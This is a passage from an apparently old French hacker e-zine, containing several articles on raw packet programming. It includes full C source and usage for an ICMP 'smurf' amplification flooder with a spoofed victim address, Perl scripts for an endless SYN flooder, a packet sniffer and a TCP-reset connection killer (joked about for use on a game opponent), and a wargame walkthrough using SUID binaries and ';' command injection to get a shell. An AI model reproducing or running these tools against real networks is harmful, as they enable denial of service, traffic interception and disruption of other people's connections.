*Fragmentation Offset : Calcul en bits du premier paquet envoyé.

*Time To Live : Nombre de sauts que le paquet peut exécuter avant
d'être détruit. Décrémenté par la plupart des routeurs
- Utilisé pour empêcher des encombrements réseaux.


*Protocol : Service Access Point (SAP) indiquant le type de transport
du paquet envoyé. Par exemple:

[NOM] [VALEUR]

1- IPPROTO_TCP 0x06
2- IPPROTO_UDP 0x11
3- IPPROTO_ICMP 0x01



*Header Checksum: Somme de contrôle.

*Source Address: Adresse IP de l'hôte source.

*Destination Address: Adresse IP du destinaire.

*Options: Normalement non utilisé, excepté quand la
taille de l'header ip sera supérieur à 5 mots
32 bits pour indiquer la taille du champ option.





III. Programmation du smurfer :
_______________________________


Il s'agira donc d'envoyer des multiples ICMP_ECHO à un nombre conséquent
de serveurs de diffusion (broadcasts) en spoofant l'IP d'une victime
quelconque ; ceux-ci pointeront alors sur la cible lord du renvoie des
replies. Le smufer que je vous ai concocté est relativement simple
d'utilisation ; il vous invitera à entrer le nombre de broadcast, la
quantité d'echos à envoyer, l'ip cible à spoofer. A chaque boucle l'ip
du broadcast est demandée, une fonction listening s'est vu ajoutée.
Celle-ci permet de recevoir un ECHO_REPLY à la suite d'un ping réalisé
dans l'optique de vérifier la présence d'un hôte sur le réseau.

Voici la structure d'un header IP et ICMP :


[ Structure de l'header ICMP ]



struct icmphdr {
__u8 type; // 0 ECHO_REPLY; 8 ECHO_REQUEST
__u8 code; // 0, inutilisé
__u16 checksum; // 0 avec calcul
union {
struct {
__u16 id; // 0, utilisé pour déterminer l'appartenance d'une requête
__u16 sequence; // 0, voir id
}
echo;
__u32 gateway;
struct {
__u16 __unused
; __u16 mtu;
} frag;
}un;
};


[ Structure de l'header IP ]

struct iphdr {

#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ihl:4;
unsigned int version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
unsigned int version:4;
unsigned int ihl:4;
#else
# error "
Please fix <bits/endian.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/* OPTIONS (facultatives) */
};




IV. Implémentation :
____________________

=> connexion
=> variables et structures
=> Fonctions




1) Connexion :
______________



C'est bien jolie de voir toutes ces théories et explications sur les
différents protocoles de communication, mais il va peut être falloir
penser à coder le smurfer. Here we are ! Donc qui ne sait pas manipuler
les sockets en C ? Petit rappel rapide ...



Un socket est une API permettant la communcation entre deux processus
et se déclare ainsi:


ssocket=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);


Elle prend donc 3 arguments :

o Domain: Le domain de la socket, respectivement:
- AF_INET: Internet
- AF_UNIX: Communication inter-processus.

o Type: Manière avec laquelle la socket va interpréter ses données,
à chaque mode une valeur:
- Mode connecté: SOCK_STREAM
- Mode non connecté: SOCK_DGRAM
- Direct Protocole: SOCK_RAW (Pour forger nos paquets manuellement)

o Protocol: Définit le protocole de la socket.
- 0: Le système choisira le protocole à votre place,
ne fonctionne pas en raw socket.
- IPPROTO_UDP: Protocole UDP.
- IPPROTO_TCP: Protocole TCP.
- IPPROTO_ICMP: Protocole ICMP.
...


addrsocket.sin_port=htons(random());

On fait donc appel à une structure pour initialiser le port:

struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};

sin_family: Famille d'adressage de la socket (AF_INET, AF_UNIX...)
sin_port: Le port au format réseau.
sin_addr: L'adresse IP auquel la socket va se connecter.

La socket va donc se connecter à une socket distante, il lui faut donc
définir un port au préalable ; ici le port est aléatoire. Ensuite, elle
poursuit la connection comme suit:


source=gethostbyname(fa) // On vérifie que l'host est reachable.
bzero(&addrsocket, sizeof(addrsocket)); // Mémoire remplie de chtits 0 !


addrsocket.sin_addr=*(struct in_addr*)source->h_addr; // On pointe sur h_addr,
//élément de la structure
//hostent, représentant
//l'adresse source.


[ structure hostent ]

struct hostent {
char *h_name;
char **h_aliases;
int h_addrtype;
int h_lenght;
char **h_addr_list;
};

h_name: HOST_NAME. String représentant le nom de la machine.
h_aliases: Tableau de chars représentant les alias de la machine.
h_addrtype: Type d'adresse de l'hôte distant (IPv4 ou IPv6).
h_lenght: Longueur de l'adresse.
h_addr_list: Encore un tableau contenant les adresses de l'hôte.



Puis on se connecte en prenant pour argument nos acquis déclarés précedemment :

connect(ssocket,(struct sockaddr*)&addrsocket, sizeof addrsocket)


o ssocket: Le nom de notre socket.
o (struct sockaddr*)&addrsocket: Pointeur vers la structure sockaddr,
l'adresse de notre socket.

o sizeof(addrsocket): Taille de la structure sockaddr.



Donc, normalement vous savez connecter une socket avec succès.
On va pouvoir passer à la programmation de nos différentes fonctions.




2) Déclaration des variables :
______________________________


char *sprotocol; // Pointeur protocole
char *sa; //
char *da; //

int nbrPaquets, listening=0, optval, nb=0;
struct hostent *source; // Pointeur sur l'adresse source (victime)
struct hostent *cible; // Pointeur sur l'adresse broadcast
struct sockaddr_in false; // Déclaration de la structure false (adresse socket victime)
struct sockaddr_in dest; // Déclaration de la structure dest (adresse socket broadcast)
struct icmphdr *icmp; // Pointeur sur la structure icmphdr
struct iphdr *ip; // Pointeur sur la structure iphdr
char *packet, *buffer;




3) Fonctions :
______________



[ dhosts ]

Cette fonction prend en arguments deux pointeurs ramenant aux noms des hôtes :
o *fa: Pour l'hôte source (adresse spoofé pointant sur la victime).
o *fb: Pour l'adresse du broadcast.


int dhosts(char *fa, char *fd)
{
if ((source=gethostbyname(fa))==NULL){ // On vérifie la présence de la victime
perror("
Hote source invalide");
exit(1);

} else {
// Sinon on pointe sur l'adresse source
bzero(&false, sizeof(false));
false.sin_addr=*(struct in_addr*)source->h_addr;

}

if ((cible=gethostbyname(fd))==NULL){ // On vérifie la présence du broadcast
perror("
Broadcast invalide");
exit(1);

} else {

bzero(&dest, sizeof(dest));
dest.sin_family=AF_INET;
dest.sin_port=htons(random());
dest.sin_addr=*(struct in_addr*)cible->h_addr;
// Sinon, là encore, on pointe sur l'adresse source
}
return 0;
}




[ bicmp ]

On entre dans le vif du sujet. Cette fonction prend en arguments tous
les champs de l'header icmp, puisqu'elle va s'en servir pour le créer.

char *bicmp(int sihl, int sversion, int stos, int sttl, int scode, int sechoi, int ssek, int schk)
{

// Allocation dynamique de mémoire
ip = (struct iphdr *) malloc(sizeof(struct iphdr));
icmp = (struct icmphdr *) malloc(sizeof(struct icmphdr));
packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr));
buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr));

ip = (struct iphdr *) packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

ip->ihl = sihl; // Longeur de l'header IP
ip->version = sversion; // Version de l'IP
ip->tos = stos; // Type de service
ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); // Longueur total du paquet
ip->id = htons(getuid()); // Identification du paquet
ip->ttl = sttl; // Time To Live, nombre d'hops restant au paquet
ip->protocol = IPPROTO_ICMP; // Protocole utilisé, ici, ICMP
ip->saddr = false.sin_addr.s_addr; // Adresse source (victime)
ip->daddr = dest.sin_addr.s_addr; // Adresse broadcast

icmp->type = ICMP_ECHO; // Champ type de l'header icmp, ici ECHO, donc type 0
icmp->code = scode;
icmp->un.echo.id = sechoi;
icmp->un.echo.sequence = ssek; // numéro de séquence
icmp->checksum = schk; // Sommes de contôle
icmp->checksum = in_cksum((unsigned short *)icmp,sizeof(struct icmphdr));

ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
return (packet);
}



[ ismurf ]

L'header forgé, il faut dorénavant créer une boucle d'envoie de requètes vers
le(s) broadcasts.. Pourquoi sommes-nous si méchants ? Niark niark niark..

int ismurf(char *ia, char *id, int paquets, int slisten, int broads)
{
// Déclaratin des variables
int j, z, i, dihl, dversion, dtos, dttl, dcode, dechoi, dsek;
int dchk, sock, optval, pfailed=0, psucceed=0;
char *buf;
char *spaquet;

// Récupération des différentes valeurs ultérieurement placées dans
// les champs de notre header. L'utilisateur remplit donc manuellement
// chaque champ, ce qui empèche certains kiddies puérils et sans sens
// moral d'utiliser ce programme.

printf("
IP ILH(5): ");
scanf("
%d", &dihl);
printf("
IP VERSION(4): ");
scanf("
%d", &dversion);
printf("
IP TOS(0): ");
scanf("
%d", &dtos);
printf("
IP TTL(255): ");
scanf("
%d", &dttl);
printf("
ICMP CODE(1): ");
scanf("
%d", &dcode);
printf("
ICMP ECHO.ID(0): ");
scanf("
%d", &dechoi);
printf("
ICMP ECHO.SEQUENCE(0): ");
scanf("
%d", &dsek);
printf("
ICMP CHECKSUM(0): ");
scanf("
%d", &dchk);

// L'utilisateur est invité à rentrer l'adresse du broadcast après
// chaque boucle, l'idéal serait de lire les adresses dans un fichier,
// ce qui serait plus rapide.
for(j=0;j<broads;j++)
{
printf("
Serveur broadcast n°%d:", j+1);
// Récupération de l'adresse du broadcast
scanf("
%s", buf);
// Boucle d'envoie des paquets
for(i=0;i<paquets;i++)
{
// Vérification de la présence des hôtes
dhosts(ia, buf);
// Initialisation des sockets
bicmp(dihl, dversion, dtos, dttl, dcode, dechoi, dsek, dchk);
sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int));
// Envoie du paquet spoofé
if((sendto(sock,spaquet,ip->tot_len,0,(struct sockaddr *)&dest,sizeof(struct sockaddr)))<0)
{
printf("
Erreur lors de l'envoie des paquets!\n");
pfailed++;
} else {
printf("
Données envoyées!\n");
psucceed++;
}
}
close(sock);
}

// Statistiques, just for fun ;-)
printf("
\nStatistiques:\n");
printf("
Adresse source: %s.\n", ia);
printf("
Nombre de broadcasts: %d.\n", broads);
printf("
Nombres de paquets à envoyés par broad.: %d.\n", paquets);
printf("
Nombres de paquets envoyés total: %d.\n", paquets*broads);
printf("
Nombres de paquets correctement envoyés: %d.\n", psucceed);
printf("
Nombres de paquets perdus: %d.\n", pfailed);
if(slisten!=1)
{
return 0;
}

// Fonction listening
if (slisten==1)
{
if(recv(sock,buffer,sizeof(struct iphdr)+sizeof(struct icmphdr),0)>=0)
{
printf("
Received the ECHO REPLY!\n");
return 0;
} else {
printf("
Erreur, aucune réception.\n");
return 0;
}
}
close(sock);
return 0;
}




[ main ]

Et enfin la fonction principale qui nous permet de récupérer les arguments
entrés par l'utilisateur.

int main(int argc, char *argv[])
{
if (argc < 2)
{
printf("
\n\n++++++++++++++++++Ssmurf BY Li0n7+++++++++++++++++++++\n\n");
printf("
[Présentation des arguments] \n\n");
printf("
usage: ./smurf -s<SPOOFED_IP> -n<NBR PAQUETS> -l\n\n");
printf("
-s<SPOOFED_IP>: l'adresse falsifiée.\n");
printf("
-n<NBR_PAQUETS>: le nombre de paquets à envoyer.\n");
printf("
-b<NBR_SERVEURS>: le nombre de serveurs broadcasts.\n");
printf("
-l: listening, attend un réponse pour paquets icmp envoyés.\n");
printf("
www.rndghost.com - contactez moi: killer.kil@voila.fr\n\n");
exit(-1);
} else {
while( (argc > 1) && (argv[1][0]=='-'))
{
switch(argv[1][1])
{
case 's':
// adresse victime
sa=&argv[1][2];
break;
case 'n':
// Nombre de paquets a envoyé
nbrPaquets=atoi(&argv[1][2]);
break;
case 'l':
// L'utilisateur peut ne vouloir que vérifier la présence d'une machine
// sur un réseau en envoyant un ping, alors le smurfer passera en listening
listening=1;
break;
case 'b':
// Nombre de serveurs broadcasts utilisés
nb=atoi(&argv[1][2]);
if(nb==0)
{
printf("
Le nombre de serveurs ne peut être nul.\n");
exit(-1);
}
break;
}
--argc;
++argv;
}
}
// Appel de la fonction ismurf
ismurf(sa, da, nbrPaquets, listening, nb);
return 0;
}






V. Code source :
________________




------------8<-----------------------------------------------------------------------


/******************************************/
/* Ssmurf By Li0n7 */
/* contactez-moi: killer.kil@voila.fr */
/* http://www.rndghost.com */
/* ICMP SMURFER - ICMP SPOOFER */
/* Copyright Li0n7 - Tous droits réservés */
/******************************************/

#include <stdio.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>

char *sprotocol;
char *sa;
char *da;
int nbrPaquets, listening=0, optval, nb=0;
struct hostent *source;
struct hostent *cible;
struct sockaddr_in false;
struct sockaddr_in dest;
struct icmphdr *icmp;
struct iphdr *ip;
char *packet, *buffer;



unsigned short in_cksum(unsigned short *addr, int len)
{
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;

while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}


if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}


int dhosts(char *fa, char *fd)
{
if ((source=gethostbyname(fa))==NULL)
{
perror("
Hote source invalide");
} else {
bzero(&false, sizeof(false));
false.sin_addr=*(struct in_addr*)source->h_addr;
}

if ((cible=gethostbyname(fd))==NULL)
{
perror("
Broadcast invalide");
} else {
bzero(&dest, sizeof(dest));
dest.sin_family=AF_INET;
dest.sin_port=htons(random());
dest.sin_addr=*(struct in_addr*)cible->h_addr;
}
return 0;
}

char *bicmp(int sihl, int sversion, int stos, int sttl, int scode, int sechoi, int ssek, int schk)
{

ip = (struct iphdr *) malloc(sizeof(struct iphdr));
icmp = (struct icmphdr *) malloc(sizeof(struct icmphdr));
packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr));
buffer = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr));

ip = (struct iphdr *) packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

ip->ihl = sihl;
ip->version = sversion;
ip->tos = stos;
ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr);
ip->id = htons(getuid());
ip->ttl = sttl;
ip->protocol = IPPROTO_ICMP;
ip->saddr = false.sin_addr.s_addr;
ip->daddr = dest.sin_addr.s_addr;

icmp->type = ICMP_ECHO;
icmp->code = scode;
icmp->un.echo.id = sechoi;
icmp->un.echo.sequence = ssek;
icmp->checksum = schk;
icmp->checksum = in_cksum((unsigned short *)icmp,sizeof(struct icmphdr));

ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
return (packet);
}

int ismurf(char *ia, char *id, int paquets, int slisten, int broads)
{
int j, z, i, dihl, dversion, dtos, dttl, dcode, dechoi, dsek,
dchk, sock, optval, pfailed=0, psucceed=0;
char *buf;
char *spaquet;

printf("
IP ILH(5): ");
scanf("
%d", &dihl);
printf("
IP VERSION(4): ");
scanf("
%d", &dversion);
printf("
IP TOS(0): ");
scanf("
%d", &dtos);
printf("
IP TTL(255): ");
scanf("
%d", &dttl);
printf("
ICMP CODE(1): ");
scanf("
%d", &dcode);
printf("
ICMP ECHO.ID(0): ");
scanf("
%d", &dechoi);
printf("
ICMP ECHO.SEQUENCE(0): ");
scanf("
%d", &dsek);
printf("
ICMP CHECKSUM(0): ");
scanf("
%d", &dchk);

for(j=0;j<broads;j++)
{
printf("
Serveur broadcast n°%d:", j+1);
scanf("
%s", buf);
for(i=0;i<paquets;i++)
{
dhosts(ia, buf);
bicmp(dihl, dversion, dtos, dttl, dcode, dechoi, dsek, dchk);
sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int));
if((sendto(sock,spaquet,ip->tot_len,0,(struct sockaddr *)&dest,sizeof(struct sockaddr)))<0)
{
printf("
Erreur lors de l'envoie des paquets!\n");
pfailed++;
} else {
printf("
Données envoyées!\n");
psucceed++;
}
}
close(sock);
}

printf("
\nStatistiques:\n");
printf("
Adresse source: %s.\n", ia);
printf("
Nombre de broadcasts: %d.\n", broads);
printf("
Nombres de paquets à envoyés par broad.: %d.\n", paquets);
printf("
Nombres de paquets envoyés total: %d.\n", paquets*broads);
printf("
Nombres de paquets correctement envoyés: %d.\n", psucceed);
printf("
Nombres de paquets perdus: %d.\n", pfailed);
if(slisten!=1)
{
return 0;
}

if (slisten==1)
{
if(recv(sock,buffer,sizeof(struct iphdr)+sizeof(struct icmphdr),0)>=0)
{
printf("
Received the ECHO REPLY!\n");
return 0;
} else {
printf("
Erreur, aucune réception.\n");
return 0;
}
}
close(sock);
return 0;
}

int main(int argc, char *argv[])
{
if (argc < 2)
{
printf("
\n\n++++++++++++++++++Ssmurf BY Li0n7+++++++++++++++++++++\n\n");
printf("
[Présentation des arguments] \n\n");
printf("
usage: ./smurf -s<SPOOFED_IP> -n<NBR PAQUETS> -l\n\n");
printf("
-s<SPOOFED_IP>: l'adresse falsifiée.\n");
printf("
-n<NBR_PAQUETS>: le nombre de paquets à envoyer.\n");
printf("
-b<NBR_SERVEURS>: le nombre de serveurs broadcasts.\n");
printf("
-l: listening, attend un réponse pour paquets icmp envoyés.\n");
printf("
www.rndghost.com - contactez moi: killer.kil@voila.fr\n\n");
exit(-1);
} else {
while( (argc > 1) && (argv[1][0]=='-'))
{
switch(argv[1][1])
{
case 's':
sa=&argv[1][2];
break;
case 'n':
nbrPaquets=atoi(&argv[1][2]);
break;
case 'l':
listening=1;
break;
case 'b':
nb=atoi(&argv[1][2]);
if(nb==0)
{
printf("
Le nombre de serveurs ne peut être nul.\n");
exit(-1);
}
break;
}
--argc;
++argv;
}
}

ismurf(sa, da, nbrPaquets, listening, nb);
return 0;
}

------------8<-----------------------------------------------------------------------






Pour compiler:

$ gcc -o smurf smurf.c

usage: ./smurf -s[SPOOFED_IP] -n[NBR PAQUETS] -l

-s[SPOOFED_IP]: l'adresse falsifiée.
-n[NBR_PAQUETS]: le nombre de paquets à envoyer.
-b[NBR_SERVEURS]: le nombre de serveurs broadcasts.
-l: listening, attend un réponse pour paquets icmp.




[ Conclusion ]

Programme publié à but purement indicatif et explicatif.
Besoin d'aide? Commentaires? Insultes? - killer.kil@voila.fr

-EOF










---------------------------------------------------------------------------------------
VII. Network Perl Coding Jackniels
---------------------------------------------------------------------------------------



[ Introduction ]

Ce texte a pour vocation de présenter les diverses possiblités qu'offre le
module perl Net::RawIP en matiere de programmation reseau. Ce module
est telechargeable ici : http://www.ic.al.lg.ua/~ksv/Net-RawIP-0.09d.tar.gz

Pour faire simple, on va dire qu'il permet d'interagir sur les paquets a
bas niveau. Plutot que de me lancer dans un cours theorique, je vais tenter
de vous en expliquer le fonctionnement a travers trois exemples : un syn-flooder,
un sniffer, et enfin un "
tueur" de connection.




I. Un syn-flooder :
___________________


Je ne vais pas vous faire l'affront de vous expliquer ce qu'est un syn-floodeur.
L'utilite d'un tel programme est bien sur tres proche de zero...

$ cat > synflooder
#!/usr/bin/perl
use Net::RawIP qw(:pcap);

$ipdest=$ARGV[0];
$portdest=$ARGV[1];
$ipsrc="
1.2.3.4";

$a = new Net::RawIP;
$a->set({
ip =>{
saddr=>$ipsrc, daddr=>$ipdest
},
tcp => {
dest => $portdest, syn => '1', rst => '0', ack => '0', psh => '0', fin => '0'
}
});
while(1){
$a->send();
}

$ chmod 777 synflooder
$ ./synflooder 128.242.103.21 80

-> la, ca envoit la puree... aucun interet :-)
Je me vois mal commenter ce code source, c'est clair comme de l'eau de roche, non ?






II. Un sniffer :
________________


C'est nettement plus interessant. Cet exemple montre tres simplement comment on
peut acceder a tous les champs du protocole ip et tcp d'un paquet sniffé.

$ cat > sniffer
#!/usr/bin/perl
use Net::RawIP qw(:pcap);
use Socket;

$dev="
eth0";
$ip_addr=${ifaddrlist()}{$dev};
$rule=$ARGV[0];
$a = new Net::RawIP;
$pcap=$a->pcapinit($dev,$rule,1500,30);
$offset=linkoffset($pcap);
loop $pcap,-1,\&sniff,\@a;

sub sniff {
$a->bset(substr($_[2],$offset));
my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,
$daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,
$ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
$a->get({
ip=>['version','ihl','tos','tot_len','id','frag_off',
'ttl','protocol','check','saddr','daddr'],
tcp=>[ 'source','dest','seq','ack_seq','doff','res1',
'res2','urg','ack','psh','rst','syn','fin',
'window','check','data']
});
if ($pro=~/\S/) {
$saddr=inet_ntoa(pack("
N",$saddr));
$daddr=inet_ntoa(pack("
N",$daddr));
print $saddr."
<".$sport."> ---> ".$daddr."<".$dport.">\n";
}
}

$ chmod 777 sniffer
$ ./sniffer "
tcp and src 128.242.103"

Deux trois commentaires :

o $dev contient le nom de l'interface reseau,
o $ip_addr recupere l'ip associee a $dev,
o $rule est une regle de filtrage avec une synthaxe "
à la tcpdump".

On recupere dans les variables $id, $ttl, $pro ... pas mal d'infos sur le paquet,
libre a nous de les utiliser. Dans cet exemple, je ne fais qu'afficher des infos
sur les ip et les numeros de port.





III. Un "
tueur" de connection :
_______________________________


On a vu dans le premier exemple, la methode set, puis dans le second, la methode get.
Ce present exemple va être en quelque sorte une mise en application de ces deux methodes.
Le principe est simple : l'attaquant sniffe les paquets transitant sur le réseau local
(au besoin un petit coup d'arpspoofing). Dés qu'il détècte un paquet avec l'ip source
de la cible, il repond un "
reset" avec l'ip spoofée de la destination du paquet.

$ cat > kill
#!/usr/bin/perl
use Net::RawIP;
use Socket;
$a=new Net::RawIP;
$b=new Net::RawIP;
$dev="
eth0";
$rule="
tcp and src host ".$net;
$pcap=$a->pcapinit($dev,$rule,1500,30);
loop $pcap,-1,\&rstconnect,\@a;

sub rstconnect {
$a->bset(substr($_[2],14));
my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,
$daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,
$ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
$a->get({
ip=>['version','ihl','tos','tot_len','id','frag_off',
'ttl','protocol','check','saddr','daddr'],
tcp=>[ 'source','dest','seq','ack_seq','doff','res1',
'res2','urg','ack','psh','rst','syn','fin',
'window','check','data']
});
if ($pro=~/\S/) {
$b->set({
ip =>{
saddr=>$daddr, daddr=>$saddr
},
tcp => {
dest => $sport, source => $dport,
rst => '1', ack => '0', psh => '1', fin => '0',
seq => $aseq, ack_seq => 0, window => 0,
}
});
$b->send();
}
$saddr=inet_ntoa(pack("
N",$saddr));
$daddr=inet_ntoa(pack("
N",$daddr));
print $saddr."
<".$sport.">"."->".$daddr."<".$dport.">"." KILLED\n";
}

$ chmod 777 kill
$ ./kill iptarget

(iptarget, c'est l'ip du mec qui fait chier son monde a gagner tout le temps a CS :)))

Bon, que se passe-t'il ici ?
On definit comme regle de filtrage : $rule="
tcp and src host ".$net;
C'est a dire qu'on ne regarde que les paquets avec comme ip source l'ip cible.
Ensuite, on envoit un paquet avec le flag rst a 1 avec le bon numero de sequence
(seq => $aseq), le tout avec l'ip spoofée de la destination originelle du paquet.
C'est radical, la connection est coupée nette.





[ Conclusion ]

Comme vous avez pu le constater, il est tres simple de faire des protos en perl avec
ce module. Pour information, Net::RawIP n'est pas le seul module a faire ce genre de
chose ... Il existe notamment NetPacket, Net-Pcap, Net-PcapUtils... Ces modules sont
plus recents et pour certains la synthaxe est plus claire.
Quoiqu'il en soit, essayez-les et vous verrez bien vers lesquels vont vos preferences.


















---------------------------------------------------------------------------------------
VIII. Challenge Hackerslab, Présentation & solution (Part. 1) MeiK
---------------------------------------------------------------------------------------


[ Introduction ]

Cet article n'est que le début d'un document qui va paraître très bientôt sur mon tout
nouveau site (qui ouvrira dans le courant de la semaine du 21 Juillet 2002). Ici je ne
vais mettre que les solutions des deux premiers niveaux. Pour les autres niveaux,
attendez une petite semaine et visitez mon site.


[ Pour commençer ]

Vous devrez tout d'abord créer un compte sur le site www.hackerslab.org, ceci est
utilisé pour vous indiquer où vous en êtes et vous afficher sur le classement si
vous finissez. Pour ça vous allez dans "
Free hacking Zone" puis il doit certainement
y avoir un truc dans le genre "
register" ou "sign up".

Une fois que votre compte est créé, vous allez dans "
View problems", et vous aurez
votre énigme qui sera présentée, avec une petite astuce pour la résoudre. Le login
et le mot de passe correspondants au niveau où vous êtes sont affichés.
Pour aller au tout premier niveau du challenge (Level0) je vous conseille de passer
par l'applet Java (avec marqué "
Let's go drill" dedans). Si votre navigateur ne
supporte pas le java, l'adresse du serveur est drill.hackerslab.org, utilsez telnet.




Note de Neofox : Vous ne trouverez ici pour l'instant que les solutions des niveaux
0 et 1, non pas de nous ne soyons allés plus loin, MeiK et moi-même sommes actuellement
au niveau 10, mais plutôt pour une question d'organisation ; la décision de faire cet
article a été prise à la dernière minute. Par ailleurs, nous faisons appel à vôtre bon
sens, vous qui n'avez pas encore attaqué ce challenge ; n'utilisez pas ce texte pour
tricher et passer au niveaux supérieurs, ce n'est pas dans vôtre interêt, d'autant plus
que les premiers sont trés simples.






--=={NIVEAU 0}==--

Bon, le tout premier niveau que vous aurez à passer. Voici ce que vous disent les
bonhommes de Hackerslab pour vous aider :


It' s to good thing that someone was nice enough to install
to backdoor. Your task Is to use this backdoor to get to the
next level. First, telnet to drill.hackerslab.org.

HINT: Check device drivers



Je ne vais pas traduire dans cet article, car je n'en vois pas le but. C'est de
'anglais vraiment basique, un gamin en classe de 6e pourrait traduire.
Bon, donc vous vous connectez sur drill.hackerslab.org et mettez level0/guest
comme login/password.



Donc, je vous conseille de savoir ce qu'est une backdoor, sinon vous n'irez
pas plus loin dans ce challenge je pense. Beaucoup de backdoors sont par exemple
des ports ouverts avec un shell qui écoute dessus, un shell script avec le bit SUID ...
dans cet exemple, on vous dit que la backdoor est dans /dev (si vous savez vous servir
d'UNIX, vous savez que /dev contient tous les périphériques). Donc, immédiatement vous
allez dans /dev et vous vous mettez à chercher un fichier avec le bit SUID.

Voici la commande :

[level0@drill level0]$ find / -perm + 4000 2>/dev/null

Et il vous sort les fichiers suivants :

/dev/.hi

/etc/bof

/tmp/sh

/bin/su

/home/nobody/.ssh2/.nobody

/home/nobody/.Xsegments

/lib/security/pam_auth.so

/usr/bin/passwd

/usr/bin/amos

/usr/bin/alert

/usr/bin/ps2

/usr/games/trojka

/usr/local/bin/hof

/usr/man/pt_BR/man8/today

/usr/sbin/sendmail

/usr/libexec/pt_chown



Bon, tous ces fichiers sont SUID. Cool. La solution est quelque part là dedans.
Vous avez deux choix, soit vous essayez les fichiers un par un et regardez si vous
êtes toujours level0 ou êtes passés level1, soit vous cherchez LE fichier qui a comme
proprio un utilisateur level1, et comme groupe, level0.

Vous cherchez et remarquez qu'un fichier a ces caractéristiques.
Ce fichier s'appelle .hi . Vous l'exécutez :

/dev/.hi

Vous regardez qui vous êtes

whoami

level1

Vous constatez que vous n'êtes plus level0, mais level1. Ensuite, le but
est de pouvoir exécuter /bin/pass. Là vous l'exécutez et vous avez une
gentille voix ... ha non merde, juste un message, qui vous dit que le mot
de passe pour le niveau suivant est 'newworld'.





--=={Level1}==--


Avant de vous connecter à drill.hackerslab.org avec les login/pass level1/newworld,
allez jeter un oeil au problème posé :



The computer student named Matthew is doing his C-programming homework.
His teacher wanted him to you create you to program/script that if there
I am types in to path name The program gives him what type of file/drectory
it is. There I am was able to get it Easily by using the file utility in the
Unix-based commands. However, the Flaw lies in this solution. Use this flaw
and go on to the next level.

HINT: One of 12 books known ace the Minor prophets.




Vous devez donc, comme toujours, trouver le programme qui vous aidera à passer au
niveau suivant. Vous cherchez donc un programme du groupe level1 avec le propriétaire
level2. Vous devrez trouver ça en théorie :

-rwsr-x--- 1 level2 level1 13423 Apr 6 2000 /usr/bin/amos


Et en plus, ce fichier porte bien le nom d'un prophète (je ne sais pas lequel, mais
ça me dit quelque chose en tout cas =). Ensuite, sous UNIX, il y a une technique qui
permet d'enchaîner deux commandes (en Perl aussi). Il suffit de mettre un point virgule
(;) entre les deux commandes. Ce programme (amos) vous permet, si vous exploitez son statut
de level2, d'exécuter n'importe quel programme en tant que level2.

Ce que vous faîtes donc :

[level1@drill level1]$ cd /usr/bin
[level1@drill bin]$ ./amos

PATH: /etc ; /bin/bash



Et là, vous obtenez un shell en tant que level2 et vous pouvez ensuite exécuter
/bin/pass. Mais pour gagner 5 secondes, faîtes plutôt :

./amos

PATH: /etc ; /bin/pass

Vous obtenez donc le password vous menant au niveau 2 !




[ Conclustion ]

Vous découvrirez la suite la semaine prochaine sur mon site.
Nous vous tiendrons de la réouverture de ce dernier par le
biais du site du groupe.













----------------------------------------------------------------------------------------------
IX. Programmation d'un sniffer Li0n7
----------------------------------------------------------------------------------------------



[ Introduction ]

Qu'est-ce qu'un sniffer? Ils tirent leur nom du premier outil de capture du trafic
réseau Sniffer Pro de Network Associates. En effet, un sniffer se contente d'analyser
les différentes trames traversant le réseau pour les afficher en clair sur l'écran
de l'attaquant. Pour cela, il va exploiter le mode promiscuous de la carte réseau, et
ainsi visualiser le trafic réseau. Il faut savoir que tout hôte reçoit des trames et
les analyse celon leur adresse MAC destinataire, ainsi il peut les ignorer ou non.
L'inferface promiscuous contourne la pile TCP/IP de l'OS en laissant alors passer tous
les paquets de la couche liason à l'application. La plus part des attaquants qui utilisent
ce type de programme cherchent à récupérer des informations liées à l'authentification
(tout protocole compris), ou d'autres types d'informations sensibles
(qu'elles soient cryptés ou non). Analyse d'un analyseur ...






++++ | Partie 1 : Programmation | ++++

=> Ovrir l'interface réseau
=> Lire les paquets
=> Point d'entrée


Il y a plusieurs façons de programmer un sniffer. Une librairie, la lippcap est
disponible à cet effet, elle inclue de nombreuses fonctions utiles destinés à
simplifier la capture et la gestion des trames réseaux et interfaces réseaux.
Deuxième méthode, utilisation des raw sockets, programmation socket brute, et
récupération brute des trames. Nous n'allons pas exploiter la libraire pcap, du fait
